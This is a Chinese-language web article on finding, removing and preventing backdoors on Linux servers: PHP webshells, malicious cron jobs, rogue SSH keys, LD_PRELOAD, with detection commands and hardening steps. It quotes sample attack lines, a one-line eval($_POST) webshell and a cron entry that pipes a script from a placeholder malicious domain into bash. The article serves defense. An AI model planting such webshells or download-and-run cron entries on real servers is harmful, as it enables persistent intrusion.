服务器中后门是哪个，答案是：最常见的后门藏在Web目录的畸形文件中、系统计划任务里、以及被篡改的SSH公钥中。这三种路径覆盖了超过七八成的入侵场景，检测后门不能靠直觉，得按入口查、按行为找、按文件对比。
服务器后门常用藏身点与识别特征
后门不会像病毒一样主动跳出来，它更擅长伪装成正常文件，业内专家指出，攻击者首要目标是“可持续访问”，次要目标才是“隐藏痕迹”，后门文件通常具备三个特征：近期修改时间、异常权限、与业务无关的代码逻辑。
Web目录中的PHP后门
这是国内服务器最泛滥的后门类型，攻击者上传一个名为php或x.php的文件到/www/wwwroot/下的某个站点目录，内容通常是eval($_POST['x'])或assert($_POST['cmd'])，这类文件短小精悍，就几行代码,伪装成缓存文件或图片。
排查方法很直接：用命令查找最近7天内被修改的PHP文件。
find /www/wwwroot -name ".php" -mtime -7 -type f -exec ls -la {} ;
重点看文件大小小于5KB、文件名无业务含义的PHP文件，出现eval、base64_decode、system、exec、shell_exec这些函数组合的，绝大多数是后门，遇到混淆过的一串乱码,直接删。
系统计划任务中的持久化后门
攻击者拿到权限后，会通过crontab写入一个定时任务，每隔几分钟或每天执行一次下载脚本、反弹shell，典型做法是在/var/spool/cron/root或/etc/crontab里加一行：
/5 curl -s http://恶意域名/s.sh | bash检查方法同样直接，执行crontab -l和cat /etc/crontab，查看有没有定时执行外链命令的项目，正常服务器不会有类似任务，如果有，立刻删除对应行，并排查/tmp、/var/tmp下是否有配套下载的脚本文件。
SSH后门与篡改的公钥
这类后门更隐蔽，针对有SSH登录权限的服务器，攻击者将自己生成的公钥写入/root/.ssh/authorized_keys，之后就能随时免密登录，或者替换sshd_config文件,开启后门认证方式。
排查时执行vi /root/.ssh/authorized_keys，核对里面每一行公钥是否为管理员本人添加，公钥末尾有一个注释字段，正常是我们自己的邮箱或主机名，突然出现一串看不懂的字符或陌生的邮箱，直接删掉那一行，同时检查
/etc/ssh/sshd_config中有没有PermitRootLogin yes搭配异常认证配置。
服务器后门检测方法：从快扫到深查
光知道藏哪儿不够，得有一套能落地的检测流程，下面这三步,覆盖常见后门和部分高级后门。
第一步：端口与进程排查
后门要通信，必然开端口或连外网,先看当前网络连接状态。
netstat -anp | grep ESTABLISHED
重点找服务器主动发起的对外连接，业务服务器很少主动连外网，如果看到某个进程连着海外IP或国内云厂商之外的陌生IP，需要立即查进程路径，再用ps aux查看可疑进程，重点关注CPU占用异常的进程名，比如kworkerd、sysud这种伪装系统服务的名字，用ls -la /proc/进程ID/exe看进程对应的真实可执行文件路径。
第二步：文件完整性校验
如果你有原始备份或刚部署时的快照，直接对比，拿WebShell工具扫一遍也是多数人的选择，网上有河马、CloudWalker等免费查杀工具，能扫出常见一句话木马，但工具存在误报,且对新型变形后门无能为力。
更可靠的方式是重点文件单独核对，以Linux为例，检查/bin/ls、/usr/bin/ps等系统文件是否被替换过：
rpm -V coreutils
如果有输出类似“S.5….T. /bin/ls”，说明系统命令被动过手脚，这台机器大概率被替换过命令级后门,此时不能继续信任这台服务器上任何命令的输出结果。
第三步：日志回溯找植入时间
后门文件的时间戳可以直接改，但网络日志不好改，查看Web访问日志有助于定位后门行为，Nginx日志路径通常在/www/wwwlogs/，Apache在/var/log/httpd/,用命令搜POST请求记录：
grep -i "POST" /www/wwwlogs/站点访问日志.log | tail -100
正常业务POST请求一般出现在登录、提交表单等场景，但日志里频繁出现单一脚本文件被POST访问，比如uploads.php、cache.php，这个文件就是后门，同时查SSH登录日志/var/log/secure,看是否有非本机IP大量尝试登录成功的记录。
服务器后门清除步骤：干净彻底不留尾巴
检测出后门后，删除文件只是第一步，一个成熟攻击者通常留了至少三个后门,只删一个会陷入死循环。
直接清除与权限收紧
定位到后门文件后，先确认没有进程正在占用它,然后执行删除：
rm -rf 后门文件路径
紧接着修改服务器所有账号密码，包括root密码、数据库密码、FTP密码，使用高强度密码，包含大小写、数字、特殊字符，长度不低于12位，同时删除不用的系统账号，比如guest、test、ftp账号,这一步是为了防止攻击者通过原密码再次登录。
排查隐藏的二次后门
删除主后门后,需要仔细审视这几处：
/etc/rc.local或/etc/rc.d/rc.local中有没有开机自启动的恶意脚本/etc/ld.so.preload文件是否为空，不为空多半是预加载后门/root/.bashrc、/etc/profile中有没有添加alias命令别名指向恶意程序的记录- 数据库
mysql.user表、Redis未授权访问等应用层面后门
其中LD_PRELOAD后门最难排查，如果服务器曾经被植入过这种类型的后门，删不干净的话，建议备份网站数据，直接重装操作系统，然后重新部署环境,这是最节省时间的方式。
排查工具选择
网上有太多“一键查杀”脚本，但乱用可能适得其反，现在常见的工具是专门查Webshell的脚本与查系统木马的Rootkit Hunter，不过工具只是辅助，真正决定成败的是管理员对业务的熟悉程度。自己清楚服务器上应该有哪些文件、哪些进程、哪些连接,就是最好的查杀工具。
根据多数安全公司的报价，服务器后门清除服务单次费用在几百到几千元不等，视后门数量和难度而定，费用中包含安全工程师远程排查、清除残留和加固建议，如果自己处理，耗时通常在四到六个小时,关键看经验。
服务器防后门安全加固实践
清除后门不是终点，避免再次被入侵才是关键，漏掉的漏洞不补上,后门明天还会回来。
关闭不需要的端口和服务
用下列命令查看开放端口清单：
netstat -tulnp
凡是没有业务进程监听的端口，一律通过防火墙策略关闭，同时禁用低安全性的服务，比如Telnet、FTP明文传输协议,推荐统一使用SFTP或SSH密钥登录取代密码登录。
SSH密钥登录配置方法：
- 本地生成密钥对
ssh-keygen -t rsa -b 4096 - 将公钥上传到服务器
~/.ssh/authorized_keys - 修改
/etc/ssh/sshd_config
PasswordAuthentication no - 重启SSH服务
systemctl restart sshd
文件上传目录禁用脚本执行
国内大多数Web后门，都是通过网站上传功能上传的，所以Nginx/Apache配置中，对上传目录需要做硬性限制，以上传目录/upload为例,在Nginx配置中加一段：
location ~ ^/upload/..(php|php5|asp|jsp)$ {
deny all;
}
这个做法可以保证即使攻击者成功上传了木马文件，也无法通过浏览器访问执行，同理，数据库备份目录、日志目录也需要禁止脚本解析。
定期备份与监控告警
数据备份是最后一道防线，建议每天自动备份网站文件和数据库，并保留最近至少7天的备份记录，备份存放位置最好与服务器分开，比如传到对象存储或另一台内网机器,防止攻击者连备份一起删除。
安全方面，可以配置简单的监控脚本，定期比对关键目录文件哈希，一旦有新增、删除、修改，马上发告警邮件给管理员，使用inotifywait命令可以实时监控目录变化,设置一条后台任务就能在文件被修改的瞬间知道异常。
Q&A：服务器后门相关问题详解
服务器被频繁扫描并植入后门，如何从根本上解决
频繁被扫描是常态，因为互联网上存在大量自动化攻击脚本，解决根本问题需要关闭对外暴露的非必要端口、安装配置基础防火墙、修改所有默认口令，同时做好系统补丁更新，尤其是Web中间件和PHP版本，在这些措施完成之前,后门清除多少次都会被再次种上。
服务器后门清除费用和流程是什么
目前市场上单次应急响应服务收费在800元到3000元之间，包含远程排查Webshell和系统后门、清除可疑文件、加固系统配置，完整流程一般为：远程登录服务器采集信息、使用安全工具配合人工分析轨迹、定位后门及攻击路径、清除所有恶意文件并修复漏洞、提供安全报告与加固建议，注意选择正规安全公司,避免跟个人黑客交易。
数据库服务器是否存在Webshell型后门
数据库服务器一般不解析PHP文件，所以Webshell型后门较少见，数据库服务器的风险主要来自开放公网3306端口、使用弱口令、存在未授权访问漏洞，攻击者通过数据库漏洞执行系统命令写入计划任务，建议对数据库服务器单独配置访问白名单，只允许应用服务器IP连接,同时禁止数据库运行在公网可直连的端口上。
图片来源于AI模型，如侵权请联系管理员。作者：酷小编，如若转载，请注明出处：https://www.kufanyun.com/ask/891141.html
